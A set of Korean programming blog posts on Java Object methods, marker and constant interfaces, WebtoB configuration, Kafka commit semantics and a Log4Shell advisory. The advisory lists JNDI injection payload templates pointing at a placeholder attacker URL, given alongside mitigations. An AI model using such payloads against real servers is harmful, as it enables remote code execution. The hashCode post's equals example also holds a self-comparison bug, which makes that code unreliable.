반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 clone 메서드에 대해 설명한다.

 

Cloneable 인터페이스

clone 메서드는 Object 클래스에 정의되어 있고, 하위 객체가 오버라이딩하여 재정의하여 사용한다. 하지만 clone 메서드를 정상적으로 사용하기 위해서는 추가적으로 해당 클래스가 Cloneable 인터페이스를 implements 해야한다.

 

사실 이런 구현방식은 정말 기괴한 방식이다. Cloneable 인터페이스에 clone 메서드가 정의만 되어 있었어도 Cloneable 인터페이스를 구현하는 클래스는 강제적으로 clone 메서드를 구현해야 하기때문에 아주 상식적인 방식으로 clone의 동작 방식을 이해할 수 있었을 것이다.

 

하지만 자바는 Cloneable을 Marker Interface로 구현하였고, natvie 메서드인 Object.clone()에서 instanceof를 사용하여 Cloneable을 implement한 클래스인 경우 clone 메서드를 호출하고, Cloneable를 implement하지 않은 클래스인 경우 CloneNotSupportedException 예외를 던지도록 구현되어 있다.

 

아래는 Cloneable의 소스이다.

package java.lang;

/**
 * A class implements the <code>Cloneable</code> interface to
 * indicate to the {@link java.lang.Object#clone()} method that it
 * is legal for that method to make a
 * field-for-field copy of instances of that class.
 * <p>
 * Invoking Object's clone method on an instance that does not implement the
 * <code>Cloneable</code> interface results in the exception
 * <code>CloneNotSupportedException</code> being thrown.
 * <p>
 * By convention, classes that implement this interface should override
 * <tt>Object.clone</tt> (which is protected) with a public method.
 * See {@link java.lang.Object#clone()} for details on overriding this
 * method.
 * <p>
 * Note that this interface does <i>not</i> contain the <tt>clone</tt> method.
 * Therefore, it is not possible to clone an object merely by virtue of the
 * fact that it implements this interface.  Even if the clone method is invoked
 * reflectively, there is no guarantee that it will succeed.
 *
 * @author  unascribed
 * @see     java.lang.CloneNotSupportedException
 * @see     java.lang.Object#clone()
 * @since   JDK1.0
 */
public interface Cloneable {
}

 

Object.clone() 메서드

위에서 언급한 것처럼 Object.clone의 동작방식은 기괴하지만 널리 사용되고 있으므로 알아둬야 한다. 먼저 Object.clone() 메서드는 아래와 같다.

    /**
     * Creates and returns a copy of this object.  The precise meaning
     * of "copy" may depend on the class of the object. The general
     * intent is that, for any object {@code x}, the expression:
     * <blockquote>
     * <pre>
     * x.clone() != x</pre></blockquote>
     * will be true, and that the expression:
     * <blockquote>
     * <pre>
     * x.clone().getClass() == x.getClass()</pre></blockquote>
     * will be {@code true}, but these are not absolute requirements.
     * While it is typically the case that:
     * <blockquote>
     * <pre>
     * x.clone().equals(x)</pre></blockquote>
     * will be {@code true}, this is not an absolute requirement.
     * <p>
     * By convention, the returned object should be obtained by calling
     * {@code super.clone}.  If a class and all of its superclasses (except
     * {@code Object}) obey this convention, it will be the case that
     * {@code x.clone().getClass() == x.getClass()}.
     * <p>
     * By convention, the object returned by this method should be independent
     * of this object (which is being cloned).  To achieve this independence,
     * it may be necessary to modify one or more fields of the object returned
     * by {@code super.clone} before returning it.  Typically, this means
     * copying any mutable objects that comprise the internal "deep structure"
     * of the object being cloned and replacing the references to these
     * objects with references to the copies.  If a class contains only
     * primitive fields or references to immutable objects, then it is usually
     * the case that no fields in the object returned by {@code super.clone}
     * need to be modified.
     * <p>
     * The method {@code clone} for class {@code Object} performs a
     * specific cloning operation. First, if the class of this object does
     * not implement the interface {@code Cloneable}, then a
     * {@code CloneNotSupportedException} is thrown. Note that all arrays
     * are considered to implement the interface {@code Cloneable} and that
     * the return type of the {@code clone} method of an array type {@code T[]}
     * is {@code T[]} where T is any reference or primitive type.
     * Otherwise, this method creates a new instance of the class of this
     * object and initializes all its fields with exactly the contents of
     * the corresponding fields of this object, as if by assignment; the
     * contents of the fields are not themselves cloned. Thus, this method
     * performs a "shallow copy" of this object, not a "deep copy" operation.
     * <p>
     * The class {@code Object} does not itself implement the interface
     * {@code Cloneable}, so calling the {@code clone} method on an object
     * whose class is {@code Object} will result in throwing an
     * exception at run time.
     *
     * @return     a clone of this instance.
     * @throws  CloneNotSupportedException  if the object's class does not
     *               support the {@code Cloneable} interface. Subclasses
     *               that override the {@code clone} method can also
     *               throw this exception to indicate that an instance cannot
     *               be cloned.
     * @see java.lang.Cloneable
     */
    protected native Object clone() throws CloneNotSupportedException;

 

clone 메서드는 native 메서드로 작성되어 있으며 Cloneable 인터페이스를 구현하지 않은 클래스가 해당 메서드를 사용할 경우 CloneNotSupportedException 예외를 던지도록 정의되어 있다.

 

clone 메서드도 마찬가지로 규약이 존재하지만 다른 메서드의 비해 규약이 느슨한다.

 

1. x.clone() != x will be true, and that the expression.

객체의 복사본을 만들어서 반환하는 것이기 때문에 원본과 복사본은 동일할 수는 없다.

 

2. x.clone().getClass() == x.getClass() will be true, but these are not absolute requirements.

원본과 복사본의 클래스 타입은 동일해야하지만, 반드시 그래야 하는 것은 아니다. 하지만 이 규약은 너무 느슨하다. clone을 사용하는 입장에서는 원본과 복사본의 타입이 동일 할 것이라고 생각한다

 

3.  x.clone().equals(x) will be true, this is not an absolute requirement.

 

By convention, the returned object should be obtained by calling super.clone. If a class and all of its superclasses (except Object) obey this convention, it will be the case that x.clone().getClass() == x.getClass().

 

 

--- 추후 추가 작성 

 

반응형
반응형

이전 블로그에서 2017년 8월 7일에 작성한 글


 

대부분의 웹 서버 (Web Server)는 디폴트로 GET, POST, HEAD 이외의 요청 메소드는 막아둔다.

Restful API를 제공하는 웹 어플리케이션이 웹 서버로부터 위 세가지 이외의 요청 메소드를 받으려면 WebtoB (버전 4.1) 에서는 다음과 같이 설정해야 한다.

 

$WEBTOB_HOME/config/ws_engine.m 파일에 다음을 추가한다.

*NODE

WEBTOBDIR = ...

SHMKEY = ...

...

METHOD = "GET, POST, HEAD, DELETE, PUT"

 

설정을 변경하였으므로 wscfl ​명령어로 설정을 적용하고 WebtoB를 재부팅 한다.

 

반응형
반응형

이전 블로그에서 2017년 7월 21일에 작성한 글


Constant Interface를 위키에서 보다가 Constant Interface는 런타임 시에는 사용할 목적이 없지만, Marker Interface는 런타임 시에 사용할 목적이 있다고 표현되어 있었다. 고로 Marker Interface도 인터페이스이지만 메서드 선언이 없는 인터페이스라고는 추측은 되지만 그렇다면 어떤 용도로 사용하는지 자료를 찾아보았다.

 

Marker Interface

Marker Interface란 아무것도, 즉 변수와 메서드를 정의하지 않은 인터페이스이다. 먼저 대표적인 Marker Interface에는 ​자바에서 종종 보는 Serializable, Cloneable​ 인터페이스가 있다. 대학원을 다녔을 때, 오브젝트 정보를 파일로 저장하고 불러올 때 사용을 해봤지만 안에 어떤 것이 들어있는지 확인은 하지 않았다. 아래는 ​Cloneable​의 코드이다.

package java.lang;

/**
 * A class implements the <code>Cloneable</code> interface to
 * indicate to the {@link java.lang.Object#clone()} method that it
 * is legal for that method to make a
 * field-for-field copy of instances of that class.
 * <p>
 * Invoking Object's clone method on an instance that does not implement the
 * <code>Cloneable</code> interface results in the exception
 * <code>CloneNotSupportedException</code> being thrown.
 * <p>
 * By convention, classes that implement this interface should override
 * <tt>Object.clone</tt> (which is protected) with a public method.
 * See {@link java.lang.Object#clone()} for details on overriding this
 * method.
 * <p>
 * Note that this interface does <i>not</i> contain the <tt>clone</tt> method.
 * Therefore, it is not possible to clone an object merely by virtue of the
 * fact that it implements this interface.  Even if the clone method is invoked
 * reflectively, there is no guarantee that it will succeed.
 *
 * @author  unascribed
 * @see     java.lang.CloneNotSupportedException
 * @see     java.lang.Object#clone()
 * @since   JDK1.0
 */
public interface Cloneable {
}

 

그렇다면 Marker Interface는 어디에 사용될까? instanceof 연산자를 사용하여 런타임에서 객체에 대한 타입을 확인하여 프로그램의 흐름을 제어할 수 있다. 즉 Maker Interface는 특별한 기능을 하는 것이 아닌 단순히 해당 객체의 타입을 구분하는 정도로 사용한다.

 

예를 들어 오브젝트를 입력받아 스트림에 쓰는 ObjectOutputStream.writeObject(Object obj)는 Object를 인자로 받는다. 이 매소드는 writeObject0(Object obj, ...)​을 호출한다. 이 매소드는 Object의 타입에 따라 다시 알맞은 매소드를 호출한다. 아래는 writeObject0(Object obj, ...)​의 코드 일부이다. (String, Enum도 Serializable이지만 처리를 다르게 하려고 구분한 것으로 보임)

public class ObjectOutputStream extends OutputStream implements ObjectOutput, ObjectStreamConstants {

 // ...
 private void writeObject0(Object obj, boolean unshared) throws IOException {

  // ...
  if (obj instanceof String) {
   writeString((String) obj, unshared);
  } else if (cl.isArray()) {
   writeArray(obj, desc, unshared);
  } else if (obj instanceof Enum) {
   writeEnum((Enum<?>) obj, desc, unshared);
  } else if (obj instanceof Serializable) {
   writeOrdinaryObject(obj, desc, unshared);
  } else {
   if (extendedDebugInfo) {
    throw new NotSerializableException(cl.getName() + "\n" + debugInfoStack.toString());
   } else {
    throw new NotSerializableException(cl.getName());
   }
  }

  // ...
 }
}
반응형
반응형

이전 블로그에서 2017년 7월 20일에 작성한 글


 

프로젝트 소스를 보다가 상수(Constant)를 인터페이스(Interface)에 정의한 것을 발견했다. 학교 수업과 책으로 자바를 배웠을 때, 항상 상수는 클래스에 정의한 것만 봐왔던 나는 생소했다. 당연히 초보 개발자로서, 특별한 장점이 있으므로 실무에서는 인터페이스를 사용하지 않을까 생각해 자료를 찾아보았다. 결론부터 말하면 사용을 추천하지 않는 Anti 패턴이다.

 

Constant Interface

Constant Interface란 오직 상수만 정의한 인터페이스이다. 인터페이스의 경우, ​변수를 등록할 때 자동으로 public static final​이 붙는다. 따라서 상수처럼 어디에서나 접근할 수 있다. 그 뿐만 아니라 하나의 클래스에 여러 개의 인터페이스를 Implement 할 수 있는데, Constant Interface를 Implement 할 경우, ​인터페이스의 클래스 명을 네임스페이스로 붙이지 않고 바로 사용할 수 있다. 이러한 편리성 때문에 Constant Interface를 사용한다. 아래는 간단한 예이다. 

public interface Constants {
 double PI = 3.14159;
 double PLANCK_CONSTANT = 6.62606896e-34;
}

public class Calculations implements Constants {

 public double getReducedPlanckConstant() {
  return PLANCK_CONSTANT / (2 * PI);
 }
}

 

Constant Interface 문제점

Constant Interface를 써도 컴파일이 안 되는 것도 아니고 그렇게 잘못된 것 같지는 않아 보인다. 하지만 위키 Effective Java (규칙19) 책을 보면 다음과 같은 이유로 Anti 패턴으로 간주한다.

 

1. Implement 할 경우 사용하지 않을 수도 있는 상수를 포함하여 모두 가져오기 때문에 계속 가지고 있어야 한다.

 

2. 컴파일할 때 사용되겠지만, 런타임에는 사용할 용도가 없다. (Marker Interface는 런타임에 사용할 목적이 있으므로 다름)

 

3. Binary Code Compatibility (이진 호환성)을 필요로 하는 프로그램일 경우, 새로운 라이브러리를 연결하더라도, 상수 인터페이스는 프로그램이 종료되기 전까지 이진 호환성을 보장하기 위해 계속 유지되어야 한다.

 

4. IDE가 없으면, 상수 인터페이스를 Implement 한 클래스에서는 상수를 사용할 때 네임스페이스를 사용하지 않으므로, 해당 상수의 출처를 쉽게 알 수 없다. 또한 상수 인터페이스를 구현한 클래스의 하위 클래스들의 네임스페이스도 인터페이스의 상수들로 오염된다.

 

5.  인터페이스를 구현해 클래스를 만든다는 것은, 해당 클래스의 객체로 어떤 일을 할 수 있는지 클라이언트에게 알리는 행위이다. 따라서 상수 인터페이스를 구현한다는 사실은 클라이언트에게는 중요한 정보가 아니다. 다만, 클라이언트들을 혼동시킬 뿐이다.

 

6. 상수 인터페이스를 Implement 한 클래스에 같은 상수를 가질 경우, 클래스에 정의한 상수가 사용되므로 사용자가 의도한 흐름으로 프로그램이 돌아가지 않을 수 있다. 아래는 간단한 예제이다.

public interface Constants {
 public static final int CONSTANT = 1;
}

public class Class1 implements Constants {

 public static final int CONSTANT = 2; // *

 public static void main(String args[]) throws Exception {
  System.out.println(CONSTANT);
 }
}

 

Constant Interface 대안

자바문서에서 Constant Interface를 Anti 패턴으로 명시하였고 이 방안으로 ​import static 구문​ 사용을 권장한다.​ Constant Interface와 동일한 기능과 편리성을 제공한다. 아래는 간단한 예제이다.

public final class Constants {
 private Constants() {
  // restrict instantiation
 }

 public static final double PI = 3.14159;
 public static final double PLANCK_CONSTANT = 6.62606896e-34;
}



import static Constants.PLANCK_CONSTANT;
import static Constants.PI;

public class Calculations {

 public double getReducedPlanckConstant() {
  return PLANCK_CONSTANT / (2 * PI);
 }
}

 

반응형
반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 toString 메서드에 대해 설명한다.

 

Object.toString() 메서드

Object.toString() 메서드는 print와 같은 함수, assert, debugger 등에 객체가 전달되면 자동으로 호출되는 메서드로 해당 객체의 대한 정보를 사람이 읽기 쉽도록 간략하지만 유용한 정보를 제공하도록 하는 메서드이다.

 

하지만 Object 클래스에 정의된 toString() 메서드는 클래스 이름 다음에 @ 기호와 16진수로 표현된 해시 코드가 붙은 문자열을 출력하도록 아래와 같이 구현되어 있다.

public class Object {
	...

    public String toString() {
        return getClass().getName() + "@" + Integer.toHexString(hashCode());
    }

 

따라서 toString() 명세서에는 다음과 같이 작성되어 있다.

Returns a string representation of the object. In general, the toString method returns a string that "textually represents" this object. The result should be a concise but informative representation that is easy for a person to read. It is recommended that all subclasses override this method.

 

toString 메서드 구현 방법

1. 가능하다면 객체 내의 중요 정보를 전부 담자.

 

2. 중요 정보가 너무 많다면 최대한 요약해 표현하자.

 

3. 표현되는 정보들은 getter와 같은 메서드를 제공하여 정보를 가져갈 수 있도록 하자.

 

4. 누군가는 toString이 리턴하는 문자열을 파싱하여 사용할 수 있다. 따라서 항상 명세서에 toString이 리턴하는 문자열에 대해 자세히 표현한다.

 

아래는 9장에서 사용한 클래스의 toString의 예제이다.

public class PhoneNumberWithHashCode {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	public PhoneNumberWithHashCode(int areaCode, int prefix, int lineNumber) {
		this.areaCode = areaCode;
		this.prefix = prefix;
		this.lineNumber = lineNumber;
	}

	/**
	 *
	 * 전화번호를 문자열로 변환해서 반환한다.
	 * 문자열은 "(XXX) YYY-ZZZZ" 형식으로 표현하여, 지역번호(areaCode), 국번(prefix), 회선번호(lineNumber) 순이다.
	 * 형식은 변경될 수 있다.
	 */
	@Override
	public String toString() {
		return String.format("(%03d) %03d-%04d", areaCode, prefix, lineNumber);
	}

	public static void main(String[] args) {
		PhoneNumberWithHashCode p1 = new PhoneNumberWithHashCode(111, 654, 7009);

		System.out.println(p1);
	}

}

 

아래는 자주 사용하는 API들에 대한 toString 소스이다.

 

- java.util.AbstractMap : 대부분의 *Map들이 상속하는 클래스

Map<String, String> map = new HashMap<>();
map.put("key1", "value1");
map.put("key2", "value2");

System.out.println(map.toString()); // {key1=value1, key2=value2}
    /**
     * Returns a string representation of this map.  The string representation
     * consists of a list of key-value mappings in the order returned by the
     * map's <tt>entrySet</tt> view's iterator, enclosed in braces
     * (<tt>"{}"</tt>).  Adjacent mappings are separated by the characters
     * <tt>", "</tt> (comma and space).  Each key-value mapping is rendered as
     * the key followed by an equals sign (<tt>"="</tt>) followed by the
     * associated value.  Keys and values are converted to strings as by
     * {@link String#valueOf(Object)}.
     *
     * @return a string representation of this map
     */
    public String toString() {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        if (! i.hasNext())
            return "{}";

        StringBuilder sb = new StringBuilder();
        sb.append('{');
        for (;;) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            sb.append(key   == this ? "(this Map)" : key);
            sb.append('=');
            sb.append(value == this ? "(this Map)" : value);
            if (! i.hasNext())
                return sb.append('}').toString();
            sb.append(',').append(' ');
        }
    }

 

- java.util.Date : 날짜 및 시각 정보를 관리하는 클래스

System.out.println(new Date().toString()); // Mon Dec 13 23:46:32 KST 2021
    /**
     * Converts this <code>Date</code> object to a <code>String</code>
     * of the form:
     * <blockquote><pre>
     * dow mon dd hh:mm:ss zzz yyyy</pre></blockquote>
     * where:<ul>
     * <li><tt>dow</tt> is the day of the week (<tt>Sun, Mon, Tue, Wed,
     *     Thu, Fri, Sat</tt>).
     * <li><tt>mon</tt> is the month (<tt>Jan, Feb, Mar, Apr, May, Jun,
     *     Jul, Aug, Sep, Oct, Nov, Dec</tt>).
     * <li><tt>dd</tt> is the day of the month (<tt>01</tt> through
     *     <tt>31</tt>), as two decimal digits.
     * <li><tt>hh</tt> is the hour of the day (<tt>00</tt> through
     *     <tt>23</tt>), as two decimal digits.
     * <li><tt>mm</tt> is the minute within the hour (<tt>00</tt> through
     *     <tt>59</tt>), as two decimal digits.
     * <li><tt>ss</tt> is the second within the minute (<tt>00</tt> through
     *     <tt>61</tt>, as two decimal digits.
     * <li><tt>zzz</tt> is the time zone (and may reflect daylight saving
     *     time). Standard time zone abbreviations include those
     *     recognized by the method <tt>parse</tt>. If time zone
     *     information is not available, then <tt>zzz</tt> is empty -
     *     that is, it consists of no characters at all.
     * <li><tt>yyyy</tt> is the year, as four decimal digits.
     * </ul>
     *
     * @return  a string representation of this date.
     * @see     java.util.Date#toLocaleString()
     * @see     java.util.Date#toGMTString()
     */
    public String toString() {
        // "EEE MMM dd HH:mm:ss zzz yyyy";
        BaseCalendar.Date date = normalize();
        StringBuilder sb = new StringBuilder(28);
        int index = date.getDayOfWeek();
        if (index == BaseCalendar.SUNDAY) {
            index = 8;
        }
        convertToAbbr(sb, wtb[index]).append(' ');                        // EEE
        convertToAbbr(sb, wtb[date.getMonth() - 1 + 2 + 7]).append(' ');  // MMM
        CalendarUtils.sprintf0d(sb, date.getDayOfMonth(), 2).append(' '); // dd

        CalendarUtils.sprintf0d(sb, date.getHours(), 2).append(':');   // HH
        CalendarUtils.sprintf0d(sb, date.getMinutes(), 2).append(':'); // mm
        CalendarUtils.sprintf0d(sb, date.getSeconds(), 2).append(' '); // ss
        TimeZone zi = date.getZone();
        if (zi != null) {
            sb.append(zi.getDisplayName(date.isDaylightTime(), TimeZone.SHORT, Locale.US)); // zzz
        } else {
            sb.append("GMT");
        }
        sb.append(' ').append(date.getYear());  // yyyy
        return sb.toString();
    }
반응형
반응형

2021.12.29 추가내용

2.17.0 버전에서 RCE 공격이 가능하여 또 2.17.1로 패치

 

(https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44832)

2021.12.20 추가내용

2.16.0 버전에서도 서비스 거부 현상 발생하여 2.17.0으로 패치

(https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397)

 

2021.12.15 추가내용

2.15.0 버전에서도 또 다시 jndi 취약점이 발견 됨. (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)

 

2.15.0 버전에서는 jndi가 localhost에서만 가능하도록 했지만, localhost로 jndi를 공격하면 지속적으로 localhost를 호출하여 서비스 거부(DOS)를 발생시킬 수 있음

 

최신버전인 2.16.0으로 업그레이드 해야함.

이슈

log4j 2.0 베타 9 ~ 2.14.1 버전까지 1~10단계중 가장 강력한 10단계 보안이슈 발생

 

%m으로 메시지 로깅하는 곳에 jndi 명령어가 있을 경우 해당 명령어를 수행하여 타 프로그램 실행 가능하도록 가능

 

${jndi:rmi://공격프로그램URL}

${jndi:ldap://공격프로그램URL}

${jndi:http://공격프로그램URL}

 

유명 제품에 대한 테스트 현황

https://github.com/YfryTchsGD/Log4jAttackSurface

 

테스트

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

 

 

해결

1. 최신버전인 2.15.0 으로 업그레이드

 

2. jndi lookup하지 않도록 변경

- Log4j 2.10 >=일 경우  JVM 옵션으로 Dlog4j2.formatMsgNoLookups=true

- Log4j 2.7 >= 일 경우 %m 설정을 %m{nolookups}

- Log4j 2.7 < 일 경우, 관련 클래스 모두 제거 후 jar 다시 말기

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

반응형

'Java' 카테고리의 다른 글

Junit in Action 3판  (2) 2024.09.22
반응형

Kafka는 Consumer가 자신이 읽은 위치의 offset을 기록하도록 commit을 하도록 한다.

이때 자동 커밋과 수동 커밋으로 나뉜다.

 

자동 커밋

자동 커밋은 특정 주기마다 커밋을 자동으로 하는 방식이다. 하지만 자동 커밋은 컨슈머 그룹의 리벨런싱이 발생할 때 중복 또는 유실이 발생한다.

 

1. 메시지 유실

자동 커밋의 주기가 1초라고 가정하였을 때, 메시지를 poll 하고 처리하던 컨슈머가 메시지를 처리하는데 오래 걸려 1초를 초과한 후에 장애가 발생할 경우, 이미 커밋을 하였기 때문에 해당 메시지는 더 이상 처리할 수 없다. 따라서 메시지 유실이 발생한다.

 

2. 메시지 중복

자동 커밋의 주기가 5초라고 가정하였을 때, 메시지를 poll 하고 컨슈머가 5초 이내에 메시지를 처리하였다. 하지만 어떠한 이유로 해당 컨슈머가 죽게 되면, 해당 메시지의 대한 커밋은 처리하지 못한 상태가 된다. 따라서 다른 컨슈머가 메시지를 중복하여 처리한다.

 

수동 커밋

수동 커밋은 Consumer 코드에서 명시적으로 커밋하는 방식이다. 수동 커밋은 커밋 위치에 따라 메시지 중복 또는 유실이 발생한다.

 

1. 메시지 유실

ConsumerRecords<String, String> records = consumer.poll(Long.MAX_VALUE);
consumer.commitAsync();
... // 메시지 처리 코드

위와 같이 메시지를 poll을 하고, 바로 커밋을 하게 되면 offset은 기록되어 이 메시지는 더 이상 중복되어 처리되지 않는다. 하지만 메시지를 처리하는 코드에서 에러가 발생할 경우, 해당 메시지와 함께 가져온 메시지들은 처리하지 못하고 유실이 발생한다.

 

2. 메시지 중복

ConsumerRecords<String, String> records = consumer.poll(Long.MAX_VALUE);
... // 메시지 처리 코드
consumer.commitAsync();

위 코드는 메시지 유실을 방지하기 위해 컨슈머가 메시지를 poll을 하고, 바로 커밋을 하는 것이 아니라 메시지를 처리하는 코드를 선행한 후에 커밋을 하였다. 하지만 메시지 처리하는 코드에서 에러가 발생할 경우 커밋을 하지 못한다. 이 경우 다시 메시지를 가져오기 때문에 이미 처리한 메시지들은 중복이 발생하게 된다. 이와 같이 메시지가 중복은 발생할 수 있어도 최소 한 번은 전달되는 방식을 at least once(최소 한 번)이라고 한다.

 

메시지 중복 방지

메시지 유실은 수동 커밋을 사용한다면 방지가 가능하다. 하지만 수동 커밋을 사용한다고 하더라도 메시지 중복이 발생한다. 메시지 중복을 막을 수 있는 방법은 무엇일까?

 

kafka에서는 exactly-once를 지원한다. 하지만 이 기능은 producer-kafka(broker)-consumer의 파이프라인 동안에 오직 한 번만 전달되는 의미이다. 즉 producer 쪽에 발생할 수 있는 메시지 유실에 더 집중한 기능이다. 이 기능을 사용한다고 해도 수동 커밋에 의한 메시지 중복을 피할 수 있는 것은 아니다. 따라서 컨슈머의 중복처리는 따로 로직을 작성해야한다.

 

 

1. 메시지를 DB에 insert만 하는 경우

컨슈머의 역할이 로깅과 같은 메시지를 DB에 저장하는 작업이라면 중복은 큰 문제가 되지 않는다. PK와 같은 식별자를 통해 DB 자체에서 검증할 수 있으므로 해당 예외만 처리하여 구현하면 된다.

try {
	dao.insert(log);
} catch (DataIntegrityViolationException ex) {
	logger.error("Log insert error. {}", log, ex);
}

 

2. 메시지를 DB에 insert 후에 다음 메시지는 update 하는 경우

상태와 같은 로그성 메시지일 경우, 처음 들어온 메시지는 insert를 해야 할 것이고 이후에 들어온 동일한 식별자는 update를 해야 하는 경우 아래와 같이 코드를 작성할 수 있다.

try {
	dao.insert(log);
} catch (DataIntegrityViolationException ex) {
	logger.error("Log insert error. {}", log, ex);
	dao.update(log);
}

 

하지만 위 코드는 파티션이 2개 이상이고, 라운드 로빈 방식으로 파티션에 나눠 보내면 문제가 발생한다. 최종 상태가 먼저 insert 된 후, 초기 상태가 이후에 처리되어 update 될 수 있기 때문이다. 또한 메시지 유실이 발생할 경우 각각의 처리하는 컨슈머가 다르므로 뒤죽박죽 처리될 것이다.

 

따라서 상태를 반영해야 하는 메시지일 경우 카프카는 파티션에 대해서는 메시지 순서를 보장하므로 동일한 식별자인 메시지에 대해서는 동일한 파티션으로만 보내야 한다. 이렇게 하면 메시지 유실이 발생한다고 하여도 메시지의 순서는 보장되므로 최종 상태도 정상 반영된다.

 

다만 위와 같이 코드를 작성할 경우 DB에 항상 먼저 insert를 한 후에 문제가 발생하면 update를 처리하므로 DB에 부하가 심하다. 따라서 상태와 같은 항목을 조건으로 하여 아래와 같이 작성하는 게 성능상으로 좋다.

	public void process() {
		if(TransactionProcessStatusEnum.PROGRESS == status) {
			insert(log);
		} else {
			int result = dao.update(log);
			if (result <= 0) {
				insert(log);
			}
		}
	}
	
	public void insert(Log log) {
		try {
			dao.insert(log);
		} catch (DataIntegrityViolationException ex) {
			logger.error("Log insert error. {}", log, ex);
			dao.update(log);
		}
	}

 

3. 온라인(즉시적인) 메시지 처리일 경우

 

반응형
반응형

자바에서 최상위 객체인 Object는 하위 객체들이 오버라이딩하여 사용하도록 설계된 메서드들이 있다. (equals, hashCode, toString, clone, finalize) 그리고 이 메서드들은 일반 규약이 존재하는데 이를 따르지 않으면 자바에서 제공하는 클래스와 함께 사용할 때 제대로 동작하지 않는다.

 

이번 장에서는 hashCode 메서드에 대해 설명한다.

 

Object.hashCode() 메서드

해시 코드란 객체를 식별하는 하나의 정수 값을 말한다. Object.hashCode() 메서드는 해당 객체의 해시 코드 값을 반환한다. 해시 코드는 java.util.HashMap과 같은 해시(hash) 기반 컬렉션에서 사용된다.

 

Object.hashCode() 메서드는 아래와 같다.

public class Object {
	 ...
	
	public native int hashCode();
}

 

Object의 hashCode는 native함수로 C언어로 작성되어 있다. 좀 더 자세히 알고 싶다면 다음을 참고한다. link to hashCode.

 

Object.hashCode() 메서드를 오버라이딩하여 재정의할 때 준수해야 하는 일반 규약이 Object 클래스 명세서에 작성되어 있다.

  • Whenever it is invoked on the same object more than once during an execution of a Java application, the hashCode method must consistently return the same integer, provided no information used in equals comparisons on the object is modified. This integer need not remain consistent from one execution of an application to another execution of the same application. 
  • If two objects are equal according to the equals(Object) method, then calling the hashCode method on each of the two objects must produce the same integer result.
  • It is not required that if two objects are unequal according to the java.lang.Object.equals(java.lang.Object) method, then calling the hashCode method on each of the two objects must produce distinct integer results. However, the programmer should be aware that producing distinct integer results for unequal objects may improve the performance of hash tables.

 

해시 코드는 반드시 구현해야 하는 것은 아니다. 하지만 두 번째 규약에 의하면 Object.equals() 메서드를 재정의 했다면 hashCode도 반드시 재정의해야 한다.

 

만약 두 번째 규약을 지키지 않으면 어떻게 되는지 보자.

 

두 번째 규약을 지키지 않았을 경우

아래는 equals() 메서드를 규약에 맞춰 작성한 PhoneNumer 클래스의 코드이다.

public class PhoneNumber {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	public PhoneNumber(int areaCode, int prefix, int lineNumber) {
		this.areaCode = areaCode;
		this.prefix = prefix;
		this.lineNumber = lineNumber;
	}

	@Override
	public boolean equals(Object obj) {
		if (obj == this) {
			return true;
		}
		if (!(obj instanceof PhoneNumber)) {
			return false;
		}

		PhoneNumber phoneNumber = (PhoneNumber) obj;

		// Since lineNumber may be the most different, check first.
		return phoneNumber.lineNumber == lineNumber && phoneNumber.prefix == prefix
		        && phoneNumber.areaCode == phoneNumber.areaCode;
	}

	public static void main(String[] args) {
		Map<PhoneNumber, String> map = new HashMap<PhoneNumber, String>();

		PhoneNumber p1 = new PhoneNumber(1, 2, 3);
		PhoneNumber p2 = new PhoneNumber(1, 2, 3);

		System.out.println(p1.equals(p2)); // true

		map.put(p1, "Phone");

		System.out.println(map.get(p1)); // Phone
		System.out.println(map.get(p2)); // null

		System.out.println(p1.hashCode()); // 366712642
		System.out.println(p2.hashCode()); // 1829164700
	}

}

p1과 p2는 논리적으로 동일하다. 즉, 새롭게 정의한 equals 메서드에서 두 객체는 동일하다고 판단한다. 그다음 HashMap에 p1을 키로 하여 데이터를 삽입하였다. 그 후, HashMap에서 데이터를 꺼낼 때 p1과 p2를 실험해본 결과 p1은 정상적으로 출력되지만 p2는 null을 반환한다.

 

Map은 동일한 키를 사용한다면 동일한 값을 반환해야 한다. 따라서 우리는 map.get(p2)도 Phone이 출력되어야 한다고 생각한다. 왜냐하면 p1과 p2는 논리적으로 동일하다고 판단하기 때문이다. 하지만 HashMap은 동일하다는 기준을 hashCode 값을 사용하여 판단한다. 따라서 HashMap에 동일성의 기준과 사람의 동일성의 기준을 같게 하기 위해서 equals 메서드를 재정의하였으면 hashCode 메서드도 재정의해야 한다.

 

hashCode()를 재정의 하기만 하면 된다?

이제 PhoneNumber의 문제를 발견했으니 hashCode() 메서드를 아래와 같이 재정의해보자. 

public class PhoneNumberOnlyAreaCode {
	private final int areaCode;
	private final int prefix;
	private final int lineNumber;

	...

	@Override
	public int hashCode() {
		return areaCode;
	}
    
	public static void main(String[] args) {
		Map<PhoneNumberOnlyAreaCode, String> map = new HashMap<PhoneNumberOnlyAreaCode, String>();

		PhoneNumberOnlyAreaCode p1 = new PhoneNumberOnlyAreaCode(1, 2, 3);
		PhoneNumberOnlyAreaCode p2 = new PhoneNumberOnlyAreaCode(1, 2, 3);

		System.out.println(p1.equals(p2)); // true

		map.put(p1, "Phone");

		System.out.println(map.get(p1)); // Phone
		System.out.println(map.get(p2)); // Phone

		System.out.println(p1.hashCode()); // 1
		System.out.println(p2.hashCode()); // 1
	}

}

 

위 결과를 보면 원하는 결과가 나왔다. 해시 코드를 areaCode를 리턴하도록 하였다.

 

